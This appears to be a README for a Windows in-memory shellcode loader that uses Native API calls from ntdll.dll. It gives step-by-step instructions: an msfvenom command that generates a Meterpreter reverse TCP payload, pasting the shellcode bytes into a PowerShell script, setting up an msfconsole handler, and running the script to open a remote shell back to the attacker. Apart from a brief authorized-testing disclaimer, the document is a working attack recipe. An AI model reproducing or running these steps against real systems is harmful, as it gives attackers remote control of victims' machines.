This project demonstrates in-memory code execution using Windows Native API (NTAPI) calls from ntdll.dll.
- Metasploit Framework (
msfvenom+msfconsole)
- Allocate memory using native system calls
- Write payload into allocated memory
- Change memory protection to executable
- Execute within the current process
On the attacker machine:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f ps1This outputs a byte array. Paste it into rev_shell.ps1 replacing #YOUR_SHELLCODE_HERE:
[Byte[]] $data = 0xfc,0x48,0x83,0xe4,0xf0,...msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <IP>
set LPORT <PORT>
run.\rev_shell.ps1
⚠️ Disclaimer This project is intended for authorized testing purposes only. Use responsibly and only on systems you have explicit permission to test.